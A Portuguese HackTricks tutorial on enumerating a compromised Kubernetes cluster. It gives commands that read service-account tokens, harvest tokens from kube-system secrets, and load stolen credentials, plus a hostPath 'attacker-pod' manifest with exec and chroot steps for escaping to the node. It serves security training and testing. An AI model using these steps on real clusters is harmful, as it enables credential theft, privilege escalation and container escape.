Português - Ht Cloud
HackTricks Training Twitter Linkedin Sponsor

Kubernetes Enumeration

Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks:

Tokens do Kubernetes

Se você comprometeu o acesso a uma máquina, o usuário pode ter acesso a alguma plataforma Kubernetes. O token geralmente está localizado em um arquivo apontado pela variável de ambiente KUBECONFIG ou dentro de ~/.kube.

Nesta pasta, você pode encontrar arquivos de configuração com tokens e configurações para se conectar ao servidor API. Nesta pasta, você também pode encontrar uma pasta de cache com informações previamente recuperadas.

Se você comprometeu um pod dentro de um ambiente Kubernetes, existem outros lugares onde você pode encontrar tokens e informações sobre o ambiente K8 atual:

Tokens de Conta de Serviço

Antes de continuar, se você não sabe o que é um serviço no Kubernetes, sugiro que siga este link e leia pelo menos as informações sobre a arquitetura do Kubernetes.

Retirado da documentação do Kubernetes:

“Quando você cria um pod, se não especificar uma conta de serviço, ele é automaticamente atribuído à conta de serviço padrão no mesmo namespace.”

ServiceAccount é um objeto gerenciado pelo Kubernetes e usado para fornecer uma identidade para processos que executam em um pod. Cada conta de serviço tem um segredo relacionado a ela e este segredo contém um token de portador. Este é um JSON Web Token (JWT), um método para representar reivindicações de forma segura entre duas partes.

Geralmente um dos diretórios:

  • /run/secrets/kubernetes.io/serviceaccount

  • /var/run/secrets/kubernetes.io/serviceaccount

  • /secrets/kubernetes.io/serviceaccount

contém os arquivos:

  • ca.crt: É o certificado ca para verificar as comunicações do Kubernetes

  • namespace: Indica o namespace atual

  • token: Contém o token de serviço do pod atual.

Agora que você tem o token, você pode encontrar o servidor API dentro da variável de ambiente KUBECONFIG. Para mais informações, execute (env | set) | grep -i "kuber|kube"

O token da conta de serviço está sendo assinado pela chave que reside no arquivo sa.key e validado por sa.pub.

Localização padrão no Kubernetes:

  • /etc/kubernetes/pki

Localização padrão no Minikube:

  • /var/lib/localkube/certs

Hot Pods

Hot pods são pods que contêm um token de conta de serviço privilegiado. Um token de conta de serviço privilegiado é um token que tem permissão para realizar tarefas privilegiadas, como listar segredos, criar pods, etc.

RBAC

Se você não sabe o que é RBAC, leia esta seção.

CheatSheet de Enumeração

Para enumerar um ambiente K8s, você precisa de algumas coisas:

  • Um token de autenticação válido. Na seção anterior, vimos onde procurar um token de usuário e um token de conta de serviço.

  • O endereço (https://host:port) do API Kubernetes. Isso geralmente pode ser encontrado nas variáveis de ambiente e/ou no arquivo de configuração do kube.

  • Opcional: O ca.crt para verificar o servidor API. Isso pode ser encontrado nos mesmos lugares que o token. Isso é útil para verificar o certificado do servidor API, mas usando --insecure-skip-tls-verify com kubectl ou -k com curl, você não precisará disso.

Com esses detalhes, você pode enumerar o Kubernetes. Se o API por algum motivo estiver acessível pela Internet, você pode simplesmente baixar essas informações e enumerar a plataforma do seu host.

No entanto, geralmente o servidor API está dentro de uma rede interna, portanto, você precisará criar um túnel através da máquina comprometida para acessá-lo do seu computador, ou você pode fazer upload do binário kubectl, ou usar curl/wget/qualquer coisa para realizar solicitações HTTP brutas ao servidor API.

Diferenças entre os verbos list e get

Com permissões de get, você pode acessar informações de ativos específicos (opção describe no kubectl) API:

GET /apis/apps/v1/namespaces/{namespace}/deployments/{name}

Se você tem a permissão list, você está autorizado a executar solicitações de API para listar um tipo de ativo (opção get em kubectl):

#In a namespace
GET /apis/apps/v1/namespaces/{namespace}/deployments
#In all namespaces
GET /apis/apps/v1/deployments

Se você tem a permissão watch, você está autorizado a executar solicitações de API para monitorar ativos:

GET /apis/apps/v1/deployments?watch=true
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments?watch=true
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments/{name}  [DEPRECATED]
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments  [DEPRECATED]
GET /apis/apps/v1/watch/deployments  [DEPRECATED]

Eles abrem uma conexão de streaming que retorna o manifesto completo de um Deployment sempre que ele muda (ou quando um novo é criado).

Os seguintes comandos kubectl indicam apenas como listar os objetos. Se você quiser acessar os dados, precisa usar describe em vez de get

Usando curl

De dentro de um pod, você pode usar várias variáveis de ambiente:

export APISERVER=${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT_HTTPS}
export SERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount
export NAMESPACE=$(cat ${SERVICEACCOUNT}/namespace)
export TOKEN=$(cat ${SERVICEACCOUNT}/token)
export CACERT=${SERVICEACCOUNT}/ca.crt
alias kurl="curl --cacert ${CACERT} --header \"Authorization: Bearer ${TOKEN}\""
# if kurl is still got cert Error, using -k option to solve this.

Por padrão, o pod pode acessar o kube-api server no nome de domínio kubernetes.default.svc e você pode ver a rede kube em /etc/resolv.config, pois aqui você encontrará o endereço do servidor DNS do kubernetes (o ".1" do mesmo intervalo é o endpoint do kube-api).

Usando kubectl

Tendo o token e o endereço do servidor API, você usa kubectl ou curl para acessá-lo conforme indicado aqui:

Por padrão, o APISERVER está se comunicando com o esquema https://

alias k='kubectl --token=$TOKEN --server=https://$APISERVER --insecure-skip-tls-verify=true'

se não houver https:// na URL, você pode receber um erro como Solicitação Incorreta.

Você pode encontrar uma folha de dicas oficial do kubectl aqui. O objetivo das seções a seguir é apresentar de maneira ordenada diferentes opções para enumerar e entender o novo K8s ao qual você obteve acesso.

Para encontrar a requisição HTTP que o kubectl envia, você pode usar o parâmetro -v=8

MitM kubectl - Proxyfying kubectl

# Launch burp
# Set proxy
export HTTP_PROXY=http://localhost:8080
export HTTPS_PROXY=http://localhost:8080
# Launch kubectl
kubectl get namespace --insecure-skip-tls-verify=true

Configuração Atual

kubectl config get-users
kubectl config get-contexts
kubectl config get-clusters
kubectl config current-context

# Change namespace
kubectl config set-context --current --namespace=<namespace>

Se você conseguiu roubar algumas credenciais de usuários, você pode configurá-las localmente usando algo como:

kubectl config set-credentials USER_NAME \
--auth-provider=oidc \
--auth-provider-arg=idp-issuer-url=( issuer url ) \
--auth-provider-arg=client-id=( your client id ) \
--auth-provider-arg=client-secret=( your client secret ) \
--auth-provider-arg=refresh-token=( your refresh token ) \
--auth-provider-arg=idp-certificate-authority=( path to your ca certificate ) \
--auth-provider-arg=id-token=( your id_token )

Obter Recursos Suportados

Com esta informação, você saberá todos os serviços que pode listar

k api-resources --namespaced=true #Resources specific to a namespace
k api-resources --namespaced=false #Resources NOT specific to a namespace

Obter Privilégios Atuais

k auth can-i --list #Get privileges in general
k auth can-i --list -n custnamespace #Get privileves in custnamespace

# Get service account permissions
k auth can-i --list --as=system:serviceaccount:<namespace>:<sa_name> -n <namespace>

Outra forma de verificar seus privilégios é usando a ferramenta: https://github.com/corneliusweig/rakkess****

Você pode aprender mais sobre Kubernetes RBAC em:

pageKubernetes Role-Based Access Control(RBAC)

Uma vez que você saiba quais privilégios possui, consulte a seguinte página para descobrir se você pode abusar deles para escalar privilégios:

pageAbusing Roles/ClusterRoles in Kubernetes

Obter Outros papéis

k get roles
k get clusterroles

Obter namespaces

Kubernetes suporta múltiplos clusters virtuais respaldados pelo mesmo cluster físico. Esses clusters virtuais são chamados de namespaces.

k get namespaces

Obter segredos

k get secrets -o yaml
k get secrets -o yaml -n custnamespace

Se você pode ler secrets, você pode usar as seguintes linhas para obter os privilégios relacionados a cada token:

for token in `k describe secrets -n kube-system | grep "token:" | cut -d " " -f 7`; do echo $token; k --token $token auth can-i --list; echo; done

Obter Contas de Serviço

Como discutido no início desta página, quando um pod é executado, geralmente uma conta de serviço é atribuída a ele. Portanto, listar as contas de serviço, suas permissões e onde estão sendo executadas pode permitir que um usuário eleve seus privilégios.

k get serviceaccounts

Obter Deployments

Os deployments especificam os componentes que precisam ser executados.

.k get deployments
k get deployments -n custnamespace

Obter Pods

Os Pods são os containers que serão executados.

k get pods
k get pods -n custnamespace

Obter Serviços

Os serviços Kubernetes são usados para expor um serviço em uma porta e IP específicos (que atuarão como balanceador de carga para os pods que estão realmente oferecendo o serviço). Isso é interessante para saber onde você pode encontrar outros serviços para tentar atacar.

k get services
k get services -n custnamespace

Obter nós

Obtenha todos os nós configurados dentro do cluster.

k get nodes

Obter DaemonSets

DaemonSets permitem garantir que um pod específico esteja executando em todos os nós do cluster (ou nos selecionados). Se você deletar o DaemonSet, os pods gerenciados por ele também serão removidos.

k get daemonsets

Obter cronjob

Cron jobs permitem agendar, usando a sintaxe semelhante a crontab, o lançamento de um pod que executará alguma ação.

k get cronjobs
kurl -v https://$APISERVER/apis/batch/v1beta1/namespaces/<namespace>/cronjobs

Obter configMap

configMap sempre contém muitas informações e arquivos de configuração que fornecem para aplicativos que rodam no kubernetes. Geralmente, você pode encontrar muitas senhas, segredos, tokens que são usados para conectar e validar com outros serviços internos/externos.

k get configmaps # -n namespace

Obter "todos"

k get all

Obter consumo dos Pods

k top pod --all-namespaces

Escapando do pod

Se você consegue criar novos pods, pode ser possível escapar deles para o nó. Para fazer isso, você precisa criar um novo pod usando um arquivo yaml, mudar para o pod criado e, em seguida, fazer chroot no sistema do nó. Você pode usar pods existentes como referência para o arquivo yaml, pois eles mostram imagens e caminhos existentes.

kubectl get pod <name> [-n <namespace>] -o yaml

se você precisar criar um pod em um nó específico, você pode usar o seguinte comando para obter rótulos no nó

k get nodes --show-labels

Comumente, kubernetes.io/hostname e node-role.kubernetes.io/master são bons rótulos para seleção.

Então você cria seu arquivo attack.yaml

apiVersion: v1
kind: Pod
metadata:
labels:
run: attacker-pod
name: attacker-pod
namespace: default
spec:
volumes:
- name: host-fs
hostPath:
path: /
containers:
- image: ubuntu
imagePullPolicy: Always
name: attacker-pod
command: ["/bin/sh", "-c", "sleep infinity"]
volumeMounts:
- name: host-fs
mountPath: /root
restartPolicy: Never
# nodeName and nodeSelector enable one of them when you need to create pod on the specific node
#nodeName: master
#nodeSelector:
#  kubernetes.io/hostname: master
# or using
#  node-role.kubernetes.io/master: ""
[fonte original yaml](https://gist.github.com/abhisek/1909452a8ab9b8383a2e94f95ab0ccba)

Depois disso, você cria o pod
kubectl apply -f attacker.yaml [-n <namespace>]

Agora você pode alternar para o pod criado da seguinte forma

kubectl exec -it attacker-pod [-n <namespace>] -- sh # attacker-pod is the name defined in the yaml file

E finalmente você faz chroot no sistema do nó

chroot /root /bin/bash

Informações obtidas de: Kubernetes Namespace Breakout usando Insecure Host Path Volume — Parte 1 Atacando e Defendendo Kubernetes: Bust-A-Kube – Episódio 1

Referências

Aprenda hacking em AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks:

AnteriorAttacking Kubernetes from inside a PodSiguienteKubernetes Role-Based Access Control(RBAC)

Última actualización